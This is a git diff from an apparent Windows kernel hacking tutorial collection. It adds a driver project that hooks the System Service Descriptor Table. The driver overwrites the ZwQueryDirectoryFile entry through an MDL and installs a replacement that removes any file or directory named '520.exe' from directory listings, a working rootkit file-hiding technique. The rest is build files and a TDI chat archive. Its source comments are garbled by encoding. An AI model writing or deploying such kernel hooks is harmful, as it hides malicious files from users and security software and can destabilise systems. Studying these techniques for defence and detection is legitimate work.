DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { + lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.h" new file mode 100644 index 0000000..9c58d41 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.h" @@ -0,0 +1,34 @@ +#ifndef _SSDT_FUNCTION_H_ +#define _SSDT_FUNCTION_H_ + + +#include +#include + + +#pragma pack(1) +typedef struct _SERVICE_DESCIPTOR_TABLE +{ + PULONG ServiceTableBase; // SSDTַ + PULONG ServiceCounterTableBase; // SSDTз񱻵ô + ULONG NumberOfService; // SSDT + PUCHAR ParamTableBase; // ϵͳַ +}SSDTEntry, *PSSDTEntry; +#pragma pack() + +// ֱӻȡ SSDT +extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable; + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName); + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.c" new file mode 100644 index 0000000..fa74835 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.c" @@ -0,0 +1,305 @@ +#include "SSDTHook.h" +#include "SSDTFunction.h" + + +// SSDT Hook +BOOLEAN SSDTHook() +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PMDL pMdl = NULL; + PVOID pNewAddress = NULL; + ULONG ulNewFuncAddr = 0; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwQueryDirectoryFile"); + // , SSDTлȡӦַ + g_pOldSSDTFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; + if (NULL == g_pOldSSDTFunctionAddress) + { + DbgPrint("Get SSDT Function Error!\n"); + return FALSE; + } + // ʹ MDL ʽ޸ SSDT + pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); + if (NULL == pMdl) + { + DbgPrint("MmCreateMdl Error!\n"); + return FALSE; + } + MmBuildMdlForNonPagedPool(pMdl); + pNewAddress = MmMapLockedPages(pMdl, KernelMode); + if (NULL == pNewAddress) + { + IoFreeMdl(pMdl); + DbgPrint("MmMapLockedPages Error!\n"); + return FALSE; + } + // дºַ + ulNewFuncAddr = (ULONG)New_ZwQueryDirectoryFile; + RtlCopyMemory(pNewAddress, &ulNewFuncAddr, sizeof(ULONG)); + + // ͷ + MmUnmapLockedPages(pNewAddress, pMdl); + IoFreeMdl(pMdl); + + return TRUE; +} + + +// SSDT Unhook +BOOLEAN SSDTUnhook() +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pSSDTFunctionAddress = NULL; + PMDL pMdl = NULL; + PVOID pNewAddress = NULL; + ULONG ulOldFuncAddr = 0; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwQueryDirectoryFile"); + // ʹ MDL ʽ޸ SSDT + pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); + if (NULL == pMdl) + { + DbgPrint("MmCreateMdl Error!\n"); + return FALSE; + } + MmBuildMdlForNonPagedPool(pMdl); + pNewAddress = MmMapLockedPages(pMdl, KernelMode); + if (NULL == pNewAddress) + { + IoFreeMdl(pMdl); + DbgPrint("MmMapLockedPages Error!\n"); + return FALSE; + } + // дԭַ + ulOldFuncAddr = (ULONG)g_pOldSSDTFunctionAddress; + RtlCopyMemory(pNewAddress, &ulOldFuncAddr, sizeof(ULONG)); + + // ͷ + MmUnmapLockedPages(pNewAddress, pMdl); + IoFreeMdl(pMdl); + + return TRUE; +} + + +// º +NTSTATUS New_ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileMask OPTIONAL, + IN BOOLEAN RestartScan + ) +{ + NTSTATUS status = STATUS_SUCCESS; + typedef NTSTATUS(*typedef_ZwQueryDirectoryFile)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileMask OPTIONAL, + IN BOOLEAN RestartScan + ); + // ִԭ + status = ((typedef_ZwQueryDirectoryFile)g_pOldSSDTFunctionAddress)(FileHandle, + Event, + ApcRoutine, + ApcContext, + IoStatusBlock, + FileInformation, + Length, + FileInformationClass, + ReturnSingleEntry, + FileMask, + RestartScan); + + //жǷִгɹһȡǷļĿ¼ + if (NT_SUCCESS(status) && ( + FileInformationClass == FileDirectoryInformation || + FileInformationClass == FileFullDirectoryInformation || + FileInformationClass == FileIdFullDirectoryInformation || + FileInformationClass == FileBothDirectoryInformation || + FileInformationClass == FileIdBothDirectoryInformation || + FileInformationClass == FileNamesInformation + )) + { + PVOID pCurrent = FileInformation; + PVOID pPre = NULL; + ULONG ulNextOffset = 0; + ULONG ulBufferSize = 1024; + PWCHAR pwszFileName = ExAllocatePool(NonPagedPool, ulBufferSize); + if (NULL == pwszFileName) + { + return status; + } + + do + { + // ȡһļϢƫ + ulNextOffset = GetNextEntryOffset(pCurrent, FileInformationClass); + // ȡǰڵļ + RtlZeroMemory(pwszFileName, ulBufferSize); + GetEntryFileName(pCurrent, FileInformationClass, pwszFileName, ulBufferSize); + DbgPrint("[%S]\n", pwszFileName); + // ָƵļĿ¼ + if (NULL != wcsstr(pwszFileName, L"520.exe")) + { + DbgPrint("Have Hide File Or Directory![%S]\n", pwszFileName); + + // һļϢ + if (0 == ulNextOffset) + { + // жǷΪһļ + if (NULL == pPre) + { + status = STATUS_NO_MORE_FILES; + } + else + { + // һļϢһļϢƫƴСΪ 0 + SetNextEntryOffset(pPre, FileInformationClass, 0); + } + break; + } + else + { + // ʣµļϢǵǰļϢ + ULONG ulCurrentOffset = (ULONG)((PUCHAR)pCurrent - (PUCHAR)FileInformation); + ULONG ulLeftInfoData = (ULONG)Length - (ulCurrentOffset + ulNextOffset); + RtlCopyMemory(pCurrent, (PVOID)((PUCHAR)pCurrent + ulNextOffset), ulLeftInfoData); + + continue; + } + } + // + pPre = pCurrent; + pCurrent = ((PUCHAR)pCurrent + ulNextOffset); + } while (0 != ulNextOffset); + + // ͷ + if (pwszFileName) + { + ExFreePool(pwszFileName); + pwszFileName = NULL; + } + } + + return status; +} + + +// ӸļϢлȡļ +VOID GetEntryFileName(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, PWCHAR pwszFileName, ULONG ulBufferSize) +{ + PWCHAR result = NULL; + ULONG ulLength = 0; + + switch (FileInfo) + { + case FileDirectoryInformation: + result = (PWCHAR)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength; + break; + case FileFullDirectoryInformation: + result = (PWCHAR)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength; + break; + case FileIdFullDirectoryInformation: + result = (PWCHAR)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength; + break; + case FileBothDirectoryInformation: + result = (PWCHAR)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength; + break; + case FileIdBothDirectoryInformation: + result = (PWCHAR)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength; + break; + case FileNamesInformation: + result = (PWCHAR)&((PFILE_NAMES_INFORMATION)pData)->FileName[0]; + ulLength = ((PFILE_NAMES_INFORMATION)pData)->FileNameLength; + break; + } + + RtlZeroMemory(pwszFileName, ulBufferSize); + RtlCopyMemory(pwszFileName, result, ulLength); +} + + +// ڸļϢһļƫ +VOID SetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, IN ULONG Offset) +{ + switch (FileInfo) + { + case FileDirectoryInformation: + ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset; + break; + case FileFullDirectoryInformation: + ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset; + break; + case FileIdFullDirectoryInformation: + ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset; + break; + case FileBothDirectoryInformation: + ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset; + break; + case FileIdBothDirectoryInformation: + ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset; + break; + case FileNamesInformation: + ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset; + break; + } +} + + +// ӸļϢлȡһļƫ +ULONG GetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo) +{ + ULONG result = 0; + switch (FileInfo){ + case FileDirectoryInformation: + result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset; + break; + case FileFullDirectoryInformation: + result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset; + break; + case FileIdFullDirectoryInformation: + result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset; + break; + case FileBothDirectoryInformation: + result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset; + break; + case FileIdBothDirectoryInformation: + result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset; + break; + case FileNamesInformation: + result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset; + break; + } + return result; +} + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.h" new file mode 100644 index 0000000..f873897 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook.h" @@ -0,0 +1,43 @@ +#ifndef _SSDT_HOOK_H_ +#define _SSDT_HOOK_H_ + + +#include + + +// SSDT Hook +BOOLEAN SSDTHook(); + +// SSDT Unhook +BOOLEAN SSDTUnhook(); + +// º +NTSTATUS New_ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileMask OPTIONAL, + IN BOOLEAN RestartScan + ); + +// ӸļϢлȡļ +VOID GetEntryFileName(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, PWCHAR pwszFileName, ULONG ulBufferSize); + +// ڸļϢһļƫ +VOID SetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo, IN ULONG Offset); + +// ӸļϢлȡһļƫ +ULONG GetNextEntryOffset(IN PVOID pData, IN FILE_INFORMATION_CLASS FileInfo); + + +// ԭַ +PVOID g_pOldSSDTFunctionAddress; + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.inf" new file mode 100644 index 0000000..a2ad73e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.inf" @@ -0,0 +1,32 @@ +; +; SSDTHook_ZwQueryDirectoryFile_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="SSDTHook_ZwQueryDirectoryFile_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj" new file mode 100644 index 0000000..7da3af5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj" @@ -0,0 +1,237 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {271A7C17-CB52-47C7-B0A6-B564C63D6911} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + SSDTHook_ZwQueryDirectoryFile_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.filters" new file mode 100644 index 0000000..df9f474 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.filters" @@ -0,0 +1,48 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.user" new file mode 100644 index 0000000..d33343a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.vcxproj.user" @@ -0,0 +1,9 @@ + + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/ChatServer.7z" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/ChatServer.7z" new file mode 100644 index 0000000..435f95a Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/ChatServer.7z" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.sln" new file mode 100644 index 0000000..a3f7de6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TdiCommunicate_Test", "TdiCommunicate_Test\TdiCommunicate_Test.vcxproj", "{E3449130-F8AA-4CC0-85E6-01D7BF989956}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + 